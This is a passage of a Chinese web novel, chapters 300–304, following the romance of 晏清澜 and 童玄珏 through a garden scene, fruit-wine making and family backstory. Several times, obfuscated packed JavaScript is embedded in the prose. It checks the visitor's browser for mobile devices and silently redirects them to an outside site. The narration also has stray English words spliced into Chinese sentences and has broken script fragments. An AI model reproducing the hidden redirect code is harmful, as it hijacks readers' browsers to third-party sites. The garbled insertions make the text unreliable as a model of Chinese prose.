他的声音渐渐低沉下去,似乎陷入了回忆之中。 “只可惜……” 他没有继续说下去,只是轻轻地叹了口气。 晏清澜看着他,眼神中流露出一丝心疼。 她知道,他一定是想起了那些逝去的亲人。 “殿下……” 她轻声唤道。 童玄珏回过神来,看着她,笑了笑。 “不说这些了。” 他伸手,轻轻地将她耳边的一缕碎发别到耳后。 “以后,这里就是我们的秘密花园。” 晏清澜看着他,眼中闪过一丝感动。 她知道,他这是在向她敞开心扉,将她带入他的世界。 “好。” 她轻声应道。 “不过……” 她话锋一转, “这园子里,只有桂花,未免有些单调。不如,再种些其他的花草吧。” “海棠,梨花,山茶,栀子……都可以。” “这样,一年四季,都有花可赏了。” 童玄珏闻言,眼中闪过一丝惊喜。 “好,都听你的。” 他笑着说。“我原以为,晏四姑娘是个辣手摧花的,没成想,竟也这般爱花惜花。” 童玄珏眉梢轻轻一挑,目光流转,落在了晏清澜的脸上,语气里带着三分戏谑,七分探寻。 晏清澜听了这话,倒也不恼,只是轻轻“嗯”了一声,算是应了。 第三百章 她眉眼舒展,晕染出极淡的笑意,像是春日里newlyblooming的第一朵花,不惹眼,却自有风情。 她顺着童玄珏的话头,不紧不慢地往下说: “您可别被表象迷惑了,我这人,向来是摧花辣手,从不留情。” 说着,她眼尾微微上扬,状似无意地伸手,轻轻拽了拽童玄珏的袖口,将人往自己身边带了带。 这细微的动作,带着几分不易察觉的亲昵。 此刻的晏清澜,一颦一笑都勾人心魄,那声音,更是像newlyfledged的**儿初啼,清脆婉转,又像冬日落雪,空灵清冽。 她眨了眨眼,话锋一转,语气里带上了几分娇嗔: “可不是殿下您太娇气了么。” 说完,还微微歪了歪头,拿眼角余光去瞥童玄珏,似乎在等着瞧他有什么反应。 “我猜,您定是极喜欢这园子的,要不然,怎么能养护得这般好?” “您想啊,春夏秋冬,若是殿下您闲来无事,到这园子里逛逛,却没几朵花能入眼,岂不是要大失所望?” 她顿了顿,似乎是在斟酌用词,片刻后,又接着说: “古有周幽王为博美人一笑,不惜烽火戏诸侯。我虽没那般大的本事,但为了让殿下您高兴,从辣手摧花变成惜花爱花,也不是什么难事。” 这番话,她说得一本正经,可细品之下,又带着几分女儿家的娇憨和狡黠。 童玄珏显然没料到她会说出这样一番话来,一时之间,竟有些愣住了。 就在他愣神的工夫,腰间一紧,却是晏清澜伸手环住了他的腰。 他只觉得,向来清冷如玉的眉眼,此刻也沾染了几分暖意,像是被春日里的暖阳融化了的冰雪,又像是枝头newlyblooming的桃花,灼灼其华。 他下意识地低头,看向怀里的晏清澜,唇角不自觉地微微上扬,勾勒出一个愉悦的弧度: “晏四姑娘想让我高兴,又何须如此大费周章?只要你像现在这样站在我面前……” 他顿了顿,声音低沉了几分,却更显温柔。 “只要你看着我,我就已经很高兴了。” 话音刚落,他在晏清澜的额头上落下蜻蜓点水般的一吻,珍而重之。 晏清澜被这突如其来的亲昵弄得有些不好意思,脸上却佯装出一副嫌弃的模样,只是,微微翘起的唇角,还是泄露了她内心的欢喜。 “童玄珏,你这张嘴,是抹了蜜么?这些甜言蜜语,都是跟谁学的?” 她微微仰起头,眼波流转,像是两汪澄澈的秋水,倒映着漫天星光。 这本是她随口的一句调侃。 谁知,童玄珏听了,竟真的轻轻笑了起来。 只是,那笑容里,却夹杂着几分难以言喻的落寞,像是飘落在水面上的雪花,还未来得及发出声响,便已悄然融化。 “没跟谁学过,”他缓缓开口,声音低沉而沙哑,“若真要说师承何处,大约……是我父亲吧。” 他顿了顿,似乎是在回忆往昔。 童玄珏的父亲童煜,当年也是威名赫赫的人物,手握重兵,被先帝亲封为异姓王。 然而,这位燕王童煜,并非大玺朝的定海神针。恰恰相反,他野心勃勃,锋芒毕露,令先帝颇为忌惮。 后来,童玄珏的舅舅,也就是当今的景元帝登基。 彼时,朝堂之上暗流涌动,边疆战事频仍,内忧外患之际,偏偏又出了个对皇位虎视眈眈的童煜。 景元帝究竟是出于稳定朝局的考虑,还是为了暂时笼络住童煜,总之,他将自己的长姐,也就是大昌的长公主,嫁给了童煜。 说起这位长公主,也是个传奇人物。 在嫁给童煜之前,她便有过一段不圆满的婚姻。 前驸马品行不端,仗着自己身份尊贵,竟敢背着长公主与青楼女子厮混。 长公主得知此事后,没有丝毫犹豫,直接一纸休书,将那驸马扫地出门。 要知道,在大玺朝,女子休夫可是前所未有的事情。 在先帝当政时期,女子地位卑微,休夫这种事,更是想都不敢想。 不过,先帝虽说昏庸无道,宠信奸佞,对长公主和景元帝这对儿女,却还算不错。 先帝要求天下女子恪守妇道,谨言慎行,不得有丝毫逾矩之处。 唯独对长公主,却是百般纵容。 无论长公主做出多么惊世骇俗的事情,他总是装作视而不见,从不加以责罚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521493|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本,众人都以为,长公主这般特立独行、眼里容不得沙子的性子,遇上同样不是善茬的燕王童煜,必定会闹得鸡飞狗跳,不可开交。 这两人,一个是骄阳,一个是烈火,针尖对麦芒,谁也不肯退让半步,说不定还会两败俱伤。 谁知,童煜成亲之后,竟像是变了一个人似的。 他对长公主百依百顺,呵护备至。 每每两人一同出现在众人面前,那股子浓情蜜意,简直能把人酸倒牙。 更让**跌眼镜的是,那位向来以强势著称的长公主,竟然也收敛了锋芒,变得温柔小意起来。 这样的转变,任谁都始料未及。 后来,长公主诞下了燕王世子,也就是童玄珏。 这夫妻二人更是将“恩爱”二字演绎到了极致,让一众尚未婚配的青年男女们艳羡不已。 童玄珏还记得,小时候,父亲总是喜欢抱着他,教他读书写字,给他讲各种各样的故事。 兴致来了,时不时哼着江南的小曲儿。 自然,他唱的都是长公主喜欢的曲子。 可以说,童玄珏是在蜜罐里长大的。 从一个嗷嗷待哺的婴孩,长成了一个俊秀挺拔的少年郎。 他记得,长公主喜欢秋日里盛放的金桂,喜欢晶莹剔透的葡萄,喜欢小巧玲珑的橘子。 澜王府里的桂花树和橘子树,都是童煜亲手栽种的。 那葡萄架,是他携手长公主共同打造的,每一根木头,都承载着他们的爱意。 童玄珏说起这些往事,唇角虽然带着笑,眼底却蒙上了一层淡淡的忧伤,像是被霜雪覆盖的湖面,清冷而寂寥。 晏清澜静静地听着,不自觉地握紧了童玄珏的手,像是要给他传递力量。 她抬眸,望了一眼被夕阳染成金色的天空,缓缓地对童玄珏绽开一个明媚的笑容: “长公主一定过得很幸福。我想,你小时候的日子,也一定过得有滋有味。” 她顿了顿,语气里多了几分落寞。 不像她,从小到大,连爹娘的面都没见过几次。 童玄珏的童年,是美好而又残酷的。 而她的过去,似乎……乏善可陈,不值一提。 第三百零一章 童玄珏回过神来,看着晏清澜,眼神微微一怔。 片刻后,他缓缓地笑了,那笑容,像是春回大地,冰雪消融,又像是和煦的春风,吹开了满树繁花。 他紧紧地回握住晏清澜的手,仿佛要将这个人,深深地烙印在自己的生命里。 他抬眼,望向被落日余晖染成一片金红的桂花树,声音低沉而温柔: “小时候,父亲跟我说过很多话,别的,我大多都记不清了。” “只记得,他说,如果我将来娶了心爱的姑娘,一定要好好待她。我可以不如别人,但唯独不能不如他。” “他说,如果我以后对我喜欢的姑娘,比不上他对母亲的一半好,他都没脸见人了。他还说,他会一直看着我,不许我学坏,不许我变成那种薄情寡义的人。” 可惜,说这些话的人,终究没能亲眼看着他长大。 而他,只得凝望这年复一年绽放的桂香,默默地学习,如何去爱一个人,如何去珍惜一个人。 只是,他在这方面,似乎没什么天赋,总是笨手笨脚的,常常惹得心爱的姑娘对他怒目而视。 想到这里,童玄珏的眼神,不由得黯淡了几分。 “你放心,”晏清澜的声音,轻柔而坚定,将他从纷乱的思绪中拉了回来,“你父亲的话,一定不会应验的。” “旁人或许会与心爱之人失之交臂,但你童玄珏,绝不会。” 童玄珏垂下眼帘,浓密的睫毛在眼睑下方投下一片阴影,遮住了他眼底的情绪。 “我父亲在外人面前,总是冷着一张脸,不苟言笑,令人望而生畏。可只要一回到府里,他只会傻乎乎地冲着娘亲笑。” “我每天都能听到他变着法儿地夸赞母亲,一天不说个百八十遍,就浑身难受似的。” “小时候,我故意气他,装出一副嫌弃的样子,他就说,我这样下去,将来肯定娶不到媳妇。” 他回忆着,嘴角微微上扬,带着一丝怀念,一丝苦涩,还有一丝……不易察觉的温柔。“我……不太会,对一个人好。” 童玄珏的声音很低,像一片落叶,轻轻地,触碰到了晏清澜的心弦。她甚至能感觉到,他话语中,藏着一丝不易察觉的慌乱。 “也不晓得,喜欢一个人,该怎么做……” 他稍稍停顿,像是鼓足了勇气,才继续往下说。揽着她的手臂,紧了紧。 “可我……在学。” 童玄珏垂下眼,长长的睫毛,挡住了他眼中的情绪。 “若是我哪里……做得不好,你别不理我。” 他深吸一口气,她身上,有股淡淡的药草香,让他安心。 “毕竟,这辈子……我就喜欢过你。” 他停顿了一下,似乎是在品味这句话, “往后……也不会再有旁人了。” 胸腔里,心跳声,一下一下,他听得真切。 傍晚的风,轻轻吹过,橘子的香气,在两人之间弥漫,几片金桂,落在了她的发间。 夕阳将天边的云,染成了橘红色,那光晕,落在两人身上,像是最温柔的画笔,勾勒出的剪影。 这一刻。 童玄珏忽然觉得,这人间,似乎……也没那么糟糕。 从前他不懂,戏文里那些神仙,为何偏偏要留恋人间,如今,他好像明白了几分。 “巧了。” 晏清澜抬起头,冲着他,俏皮地眨了眨眼, “我也是,头一回喜欢人。要是我有什么做得不对的地方……殿下可别嫌弃。” 童玄珏听了,眉眼舒展开来, “不敢。” 他声音低沉,带着一丝笑意。 “那便好。” 晏清澜应了一声。 两人依偎着,看着天边的云,慢慢变幻着形状。 童玄珏伸手,替她拂去落在肩头的叶子。 “你呀。” 他语气中,是满满的温柔, “当真只打算,在这院子里种些梨花、海棠……还有山茶、栀子、蜡梅?” 他微微侧过头,像是在思索, “这些我不在行,但若你要,我定会亲手栽种。” “还有没有别的?一并说了吧。” 晏清澜歪着头,想了想, “若说还想要什么……” 她停顿了一下,笑容更深了, “再来一棵桂花,嗯……石榴也成。” 童玄珏看着她,唇角微微上扬, “依你。” 他答应得干脆。 “对了,” 晏清澜的目光,落在了不远处的橘子树上, “你会酿果子酒么?” 童玄珏摇了摇头,老老实实地回答: “不曾酿过。还请……晏四姑娘指教一二。” 晏清澜看着他,眼中闪过一丝狡黠, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16523908|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那你,去寻个篮子来。” 她指了指那棵橘子树, “这橘子,瞧着就甜,白白落了,可惜。” “摘些来酿酒吧,还有那边的葡萄,也摘一些。你虽在碧霄楼吃过葡萄酪、葡萄饮,但定然没尝过我亲手做的。” 她语气轻快,仿佛已经看到了,那晶莹剔透的果肉,在酒液中,慢慢舒展的模样。 夏日炎炎,最解暑的,莫过于碧霄楼的葡萄酪和葡萄饮了。 寻常的一天,若是能吃上一碗,也能多出几分滋味。 童玄珏望着她,眼中笑意更深, “看来,今日我是有口福了。” 他微微挑眉, “旁人可没这福气,能尝到碧霄楼东家的手艺。” 晏清澜双手环抱在胸前,微微抬起下巴, “那是。” 她语气中带着几分小得意。 “晏四姑娘的手艺,殿下或许能尝到。” 她顿了顿, “可碧霄楼东家的么,可不是随随便便就能吃到的,总得……拿出些诚意来。” 这话虽是这么说,可她眼角眉梢,分明都带着笑。 童玄珏看着她,装模作样地想了想, “我这人,浑身上下,也没什么值钱的……” 他突然凑近了些,声音低沉,带着一丝不易察觉的诱哄, “也就这张脸,还勉强能看。” “东家……可还满意?” 他眼神清亮,却让晏清澜的心,微微一颤。 看着他那张近在咫尺的脸,晏清澜有些无奈,又有些想笑,可嘴角的弧度,却是怎么也压不下去。 她算是明白,长公主为何会为童煜动心了。 要说童玄珏这般是无师自通,她可不信。 要不是天赋异禀,这又是从哪儿学来的? 想起他方才说,要亲手为她种花,晏清澜心中了然。 她故作矜持地,上上下下打量了他一番, “嗯……” 她摸了摸鼻子,语气有些勉强, “这张脸,倒也还成。行吧,就勉为其难,为你下厨一回。” 谁能想到,她有朝一日,也会如此“肤浅”。 可谁让…… 晏清澜在心里,小小地叹了口气, 谁让燕王殿下,生了这么一张,让人无法拒绝的脸呢。 美好的童年? 第三百零二章 她自嘲地笑了笑。 晏清澜微微侧过头,避开他那过分专注的眼神。 被人当成一把刀,日复一日地训练,整日活在算计和恐惧中,任谁,也不会有美好的童年。 若不逼着自己长大,不咬紧牙关,如何能活? 若说惨烈…… 可连美好的滋味,都不曾尝过,又何谈惨烈? 那些日子,虽苦,不过总算是捡回一条命。 她不曾有过。 真正的晏四,也不曾有过。 晏明远和钱雅芝…… 或许有过两情相悦、举案齐眉的时候,但真正的晏四,没见过。 她沉默了一会儿,抬眼看向童玄珏, “我爹娘倒是恩爱,我爹每日变着法儿地夸我娘,我娘若是说往东,他死活不肯朝西走。” 厉宗玉和傅清霁,是真心相爱。 所以,他们的孩子,也这般好。夜色如墨,澜王府的厨房内,一盏橘色灯笼摇曳生光,将两人的身影拉得很长。 “后面该咋整?”低沉悦耳的嗓音在寂静中响起,打破了这份静谧。 童玄珏一手提着满载新鲜橘子的竹篮,另一手则拎着一串晶莹剔透的紫葡萄。饱满的果实上沾着点点水珠,在灯光的映照下,愈发显得诱人。他微微侧过头,望向身旁的晏清澜,唇角勾起一抹若有似无的笑意,眼底深处,是毫不掩饰的温柔。 晏清澜双手环抱胸前,身子慵懒地倚靠着灶台,故作姿态地挑了挑精致的眉: “嗯……劳烦燕王殿下,”她故意拉长了语调,尾音微微上扬,带着几分不易察觉的戏谑,“将这葡萄,仔细洗净。至于橘子嘛……剥了。” 话音未落,几个眼尖手快的澜王府下人便急匆匆地上前,想要接过这在他们看来颇为“粗鄙”的活计。 童玄珏却只是轻轻抬了抬手,指尖在空中优雅地划过一道弧线。那群人立刻心领神会,如潮水般退了下去,恭敬地垂首立于一旁,大气也不敢出。 原本还算热闹的厨房,顿时只剩下了他们二人,静谧得似乎能听到彼此的呼吸声。 童玄珏挽起袖口,露出线条流畅、骨节分明的手腕。他修长的手指,如同拨弄琴弦般,开始一颗颗剥起橘子。动作轻柔而细致,将橘络一丝不苟地剥离,连最细微的白色纤维也不放过,仿佛在对待一件价值连城的稀世珍宝。 晏清澜寻了个舒服的姿势,单手托腮,斜倚在桌边,有一搭没一搭地吃着他剥好的橘子,嘴角始终噙着一抹若有似无的笑意,让人捉摸不透。 “燕王殿下,”她咬着一瓣饱满多汁的橘肉,声音清脆,如珠落玉盘,“还挺有耐心。这橘子剥得,可真够干净的。” 童玄珏抬眸,深邃的眼眸中飞快地闪过一丝无奈,转瞬即逝。他微微挑起眼尾,带着几分宠溺的意味: “晏四姑娘吩咐的事,哪敢敷衍?” 他手下的动作丝毫不停,却也没有催促晏清澜的意思,只是任由她慢悠悠地品尝。 橘子的清甜在口腔中弥漫开来,晏清澜却觉得有些无趣。她放下手中的橘子,转而将目标对准了那串紫葡萄。 一颗颗晶莹饱满的葡萄,经过盐水的浸润,在温暖的烛光下,泛着温润诱人的光泽,让人忍不住想要一亲芳泽。 她纤细白皙的手指捏起一颗葡萄,轻轻一捻,薄薄的果皮便被剥离开来。然后…… 在童玄珏略带期待的目光中,她将那剥了一半的葡萄,送入了自己口中,动作自然而流畅。 “……”童玄珏愣怔了片刻,随即忍不住轻笑出声,声音低沉而愉悦。 看来,是他把这些果子养得太好了,以至于……她这般迫不及待。 正好,童玄珏也将手头的橘子剥完。他起身净了手,走到晏清澜身旁,自然地接过她手中剥了一半的葡萄: “还是我来吧,免得有人‘监守自盗’。”他故意揶揄道。 晏清澜微微扬起下巴,眼中闪过一丝狡黠的光芒,还有一丝……不易察觉的得意。 下一刻,她便看到童玄珏将她剥了一半的葡萄,送入了他自己口中,动作优雅而自然,没有丝毫的突兀。 “……”晏清澜一时语塞,她好笑又无奈地瞪了他一眼,语气中带着一丝嗔怪: “幼稚。” 话音未落,童玄珏又将一颗剥了一半的葡萄凑到她唇边。他那双平日里总是透着几分冷冽的眸子,此刻却盛满了温柔,仿佛能将人溺毙其中,比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16523909|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天上的月色还要醉人几分。 晏清澜微微一怔,下意识地张开嘴,将那颗葡萄含入口中,任由甜蜜的汁水在口腔中蔓延开来。 她的脸颊微微泛红,轻咳一声,试图掩饰自己的失态: “专心剥吧,别闹。” 再这样你一颗我一颗的,到天亮也未必能把这些果子处理完。她默默地在心里补充了一句。 童玄珏看着她绯红的脸颊,眸中笑意愈发浓郁。他不再逗她,只是专心致志地剥起葡萄,动作比之前快了不少。 不过片刻,他便将那串葡萄处理完毕。果肉与果皮,被他整整齐齐地分放在两个白瓷碗中。 “这葡萄皮,也有用处?”他指着其中一碗葡萄皮问道,语气中带着一丝好奇。 晏清澜点点头,解释道:“葡萄皮可以用来煮水,煮出来的水颜色漂亮,还可以做成葡萄冻。” 她没有直接回答童玄珏的问题,而是开始动手准备制作果子酒。 几个白瓷坛子和琉璃坛子,早已被她仔仔细细地用热水烫过,又消了毒。每一个步骤,她都做得一丝不苟,力求完美。 确认坛子里没有残留一丝水珠后,她拿起其中一个小坛子,对着童玄珏晃了晃,俏皮地眨了眨眼: “燕王殿下,您可看仔细了,这果子酒的做法,简单得很。” 只见她素手轻抬,动作如行云流水般,先往坛子里铺上一层饱满的橘瓣,又均匀地洒上一层晶莹剔透的杏色冰糖。 一层橘瓣,一层冰糖,如此反复。她的动作轻盈而优雅,仿佛在进行一场精心编排的舞蹈,每一个动作都恰到好处。 直到坛子装到八分满时,她才停下手,朝童玄珏微微一笑,语气中带着几分得意: “接下来,只需倒入佳酿,稍稍没过果子便可。” 童玄珏看着她熟练的动作,眼中闪过一丝赞赏。他本以为这果子酒的做法会十分复杂,却没想到竟是如此简单。 “用什么酒?”他问道。 晏清澜想了想,说道:“寻常的米酒便可,不过……若是用上好的佳酿,味道自然更佳。” 童玄珏点点头,转身走到厨房外,朗声吩咐道: “去酒窖,取一坛… 第三百零三章 …算了,还是本王亲自去吧。” 他原本想让下人去取,但转念一想,还是决定亲自前往。 澜王府的下人面面相觑,皆是一脸疑惑。 做个果子酒而已,殿下何至于要亲自前往酒窖? 要知道,澜王府的酒窖里,可都是珍藏多年的佳酿,随便一坛,都价值不菲。 但主子的心思,他们岂敢揣测?只能默默地在心里猜测,殿下今日心情甚好,或许是想借此机会,与晏四姑娘一同品尝美酒吧。 童玄珏离开后,晏清澜便开始着手准备制作葡萄冻。 她将先前剥好的葡萄皮洗净,放入锅中,加入适量的清水,开始熬煮。 不一会儿,锅中的水便逐渐变成了诱人的石榴红色,散发出一股淡淡的果香。 她将葡萄皮捞出,又从随身携带的小包袱里,取出一个精致的小瓷瓶。 打开瓶盖,一股淡淡的清香扑鼻而来。 她小心翼翼地从瓶中倒出些许粉末,加入锅中,继续小火慢煮。 这是她从碧霄楼“借”来的紫云仙草粉末,是制作葡萄冻的关键。 片刻之后,她将煮好的汁水,小心翼翼地倒入一个精致的月白色瓷碗中,轻轻拍了拍手,脸上露出满意的笑容: “大功告成!只需待它冷却,便会凝结成美味的葡萄冻。” 就在这时,童玄珏也回来了。 他手中提着一个古朴的酒坛,坛身上雕刻着精美的花纹,一看便知不是凡品。 “这是……”晏清澜看着那酒坛,眼中闪过一丝惊讶。 童玄珏微微一笑,将酒坛放在桌上: “这是父皇赏赐的‘玉露春’,已有三十年窖藏,用来泡果子酒,最合适不过。” 晏清澜闻言,不由得咋舌。 用“玉露春”来泡果子酒?这未免也太奢侈了些! 她忍不住在心里感慨,燕王殿下,果然是……壕无人性! 不过,她也没有拒绝童玄珏的好意。 她接过酒坛,小心翼翼地将酒缓缓倒入装有橘子的坛中,直到酒液刚好没过橘瓣。 她盖上盖子,轻轻摇晃了几下,让酒液与橘瓣充分混合。 一股浓郁的酒香与橘子的清香交织在一起,沁人心脾。 至此,果子酒的制作,也算是大功告成了。 夜色渐深,月上中天。 晏清澜与童玄珏并肩坐在澜王府的庭院中,仰望着天上的明月与繁星,感受着微风拂过脸颊的清凉。 童玄珏不知从何处寻来一件柔软的披风,轻轻披在晏清澜的肩上,柔声说道: “夜凉如水,仔细着凉。” 他的声音低沉而温柔,带着一丝不易察觉的关切。 晏清澜微微侧过头,看向身旁的男子。 月光下,他的侧脸轮廓分明,俊美无俦。 她的心中,忽然涌起一股莫名的情绪,暖暖的,甜甜的。 她知道,自己对这个男子,早已动了心。 只是,她不确定,这份感情,是否能够长久。 毕竟,他们之间的差距,实在是太大了。 她微微垂下眼眸,掩饰住眼底的复杂情绪。 童玄珏似乎察觉到了她的异样,他轻轻握住她的手,柔声问道: “怎么了?可是有什么心事?” 晏清澜摇了摇头,轻声说道: “没事,只是有些累了。” 童玄珏没有再追问,只是将她的手握得更紧了一些。 两人就这样静静地坐着,享受着这难得的静谧时光。 回到厨房时,先前煮好的葡萄皮汁水,已经凝结成一块晶莹剔透的紫色果冻,宛如一块上好的紫水晶,在灯光下熠熠生辉。 晏清澜取出一把精致的小银刀,小心地将葡萄冻划成小块,盛入几个小巧的白瓷碗中。 她又从冰窖中取来一些碎冰,铺在碗底。 接着,她将先前剥好的葡萄果肉捣碎,加入少许蜂蜜,搅拌均匀。 最后,她从一个青花瓷壶中,倒出一些淡绿色的茶汤,缓缓注入碗中。 茶汤与葡萄果肉、蜂蜜、碎冰相互融合,散发出一股独特的清香。 她又将切好的葡萄冻加入其中,轻轻搅拌了几下。 几碗色香味俱全的“冰镇醪糟”便做好了。 “这是……”童玄珏看着那几碗色彩缤纷的饮品,眼中闪过一丝好奇。 晏清澜微微一笑,将其中一碗推到童玄珏面前: “这是我自创的‘冰镇醪糟’,你尝尝看。” 童玄珏接过碗,拿起勺子,轻轻舀了一勺,送入口中。 冰凉的触感,夹杂着葡萄的酸甜、蜂蜜的清甜、以及茶汤的淡淡苦涩,在口腔中蔓延开来,让人精神为之一振。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530861|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他细细品味着,眼中闪过一丝惊艳: “味道很特别,很好喝。” 晏清澜闻言,脸上露出得意的笑容: “那是自然,这可是我独家秘制的。” 她看着童玄珏,心中暗自思忖:这大约是她第一次亲手为他做这些,也不知,他是否会喜欢。夜幕低垂,浮萍居内烛火摇曳。晚风穿过半开的窗棂,送来一阵若有若无的花香,也带来几分秋夜的凉意。 晏清澜斜倚在软榻上,手中虽握着书卷,心思却早已飘远。 “咚咚。” 轻缓的敲门声,将她的思绪拉了回来。 “进。”她淡淡开口,声音里听不出喜怒。 桂柔推门而入,步履轻盈地走到晏清澜身旁,屈膝行礼, “主子,苏府刚派人送了帖子来。” 她将手中的描金请帖放在小几上,动作轻柔,却难掩眉宇间的一丝不悦。 晏清澜的目光从书卷上移开,落在那张华丽的请帖上,眼神中闪过一丝玩味。 “哦?这么晚了,什么事?”她的声音慵懒,仿佛只是随口一问。 “说是五日后钱雅芝生辰,请主子您过府赴宴。”桂柔的声音里带着几分嘲讽,“还说……要跟您解开之前的误会。” 呵! 桂柔在心里冷笑。 钱雅芝那种人,能有什么误会? 不过是黄鼠狼给鸡拜年,没安好心! 晏清澜听了,唇角勾起一抹似笑非笑的弧度。 解开误会? 庄家人还真会往自己脸上贴金。 她与钱雅芝之间,可没有什么误会,只有不死不休的仇怨! “把帖子烧了。”晏清澜漫不经心地吩咐道,仿佛那只是一张废纸,“我没空。” 她可不想浪费时间陪庄家人演戏。 庄家想借她的出席来平息那些风言风语? 真是痴人说梦! 她晏清澜,可不是任人拿捏的软柿子。 不过…… 晏清澜的眼中闪过一丝狡黠,她将手中的书卷放到一旁,缓缓坐直了身子, “既然她们如此‘盛情’,我若不回敬一番,岂不是显得失礼?” 她抬眸看向桂柔,声音里带着一丝玩味, “你去准备一份‘大礼’,到时候,找个可靠的人,给我亲自送到苏府。 第三百零四章 ” “记住,一定要亲手交给钱雅芝。” 她特意加重了“亲手”二字,语气中带着几分令人玩味的深意。 桂柔心领神会,立刻应道:“奴婢明白,定不辱命。” 她知道,自家主子这是要给钱雅芝送一份“惊喜”。 而且,这份“惊喜”,绝对会让钱雅芝终生难忘! 桂柔躬身退下,正要转身离开,忽然又想起一事,连忙停下脚步, “对了,主子,还有一件事。” 晏清澜微微颔首,“说。” 桂柔的神情变得严肃起来, “之前您让奴婢盯着酆明川,今天有了动静。” “晏远舟不知从哪里打听到,柳家有一块大昌开国皇后戴过的玉珏,他以晏玥玥身体不适为由,想让酆明川把玉‘借’给他,说是要沾沾玉的灵气,给晏玥玥祈福。” “酆明川没同意。奴婢怕晏远舟不会善罢甘休,恐怕会对柳家不利。” 晏清澜听完,并没有感到意外。 晏远舟那个人,为了达到目的,什么下三滥的手段都使得出来。 玉珏的事,他迟早会知道。 就算酆明川不说,韩承煜那个藏不住话的家伙,也会一五一十地告诉他。 她略微思忖了片刻,开口道: “你明日给酆明川送书的时候,点拨他几句。” “告诉他,玉再好,也只是个物件,比不上活生生的人命重要。” “再说了,那块玉,谁也没见过真容,是真是假,谁说得清?就算他真拿出一块玉来,谁又能认得?” 桂柔闻言,先是一愣,随即恍然大悟。 对啊!压根没人瞧见过那玉石,真假还不是凭酆明川一张嘴? 就算他拿块石头出来,只要他说那是开国皇后的玉珏,谁又能反驳? 晏清澜这一招,真是高明! 桂柔心中暗暗佩服,自家主子的智谋,非常人能及。 晏清澜交代完,便挥手让桂柔退下了。 次日,桂柔带着书卷来到酆明川的住处。 她将书卷递给酆明川,看着眼前这个一脸憨厚的年轻人,心中暗暗叹了口气。 这酆明川,一看就是个老实本分的人,恐怕连谎话都不会说。 她犹豫了一下,还是决定把话说得更明白些。 “柳公子,”桂柔压低了声音,语气严肃,“你可得想清楚了,是身家性命要紧,还是那块破玉要紧?” “那晏远舟是什么人?他爹可是太常寺少卿,家里还有权有势的亲戚。他想弄死你,就跟踩死一只蚂蚁一样容易!” 她顿了顿,见酆明川一脸茫然,又补充道: “不是我说丧气话,胳膊拧不过大腿。你一个手无缚鸡之力的书生,拿什么跟人家斗?更别提,那块玉,你还不知道真假!” 酆明川被桂柔这番话说得有些懵,他愣愣地站在那里,半晌才反应过来。 他挠了挠头,似乎有些不明白自己怎么突然就被教训了。 不过,他还是听出了桂柔话里的关切之意。 酆明川连忙朝桂柔拱手行礼,脸上带着一丝感激的笑容, “多谢姑娘提点,您的话,我都记在心里了。” “姑娘说得对,一块玉而已,再珍贵也比不上人命。” 他语气诚恳。 在他心里,人命比什么都重要。 别说只是一块玉,就算是金山银山,也换不回一条人命。 更何况,那块玉,还是个惹祸的根苗! 桂柔见酆明川听进去了,这才稍稍放下心来。 她本以为像酆明川这样的读书人,多少会有些迂腐,没想到他还挺通透的。 看来,这书呆子也不是只会死读书,还是有点脑子的。 桂柔心中稍感安慰,又忍不住多说了几句: “你既然想把这玉送出去,不如闹得人尽皆知。省得以后那些不长眼的,还惦记着你家这块所谓的传家宝。” 她这话说得已经够直白了,就差没直接告诉酆明川,让他把消息放出去了。 酆明川听了,眼睛一亮,顿时明白了桂柔的意思。 他一拍脑门,恍然大悟道: “姑娘说得是!我怎么就没想到呢!” 他沉吟片刻,从怀中摸出一块用红绳系着的玉珏。 这块玉,他一直贴身戴着,从不离身。 玉质细腻,入手微凉。 这些年,柳家被这玉石所困,没少被人惦记。 好在没遇到那种仗势欺人的,否则,他们一家恐怕早就家破人亡了。 当他拥有宝玉,却没有能力守护时,这宝玉,便成了催命符。 这东西在他手里,简 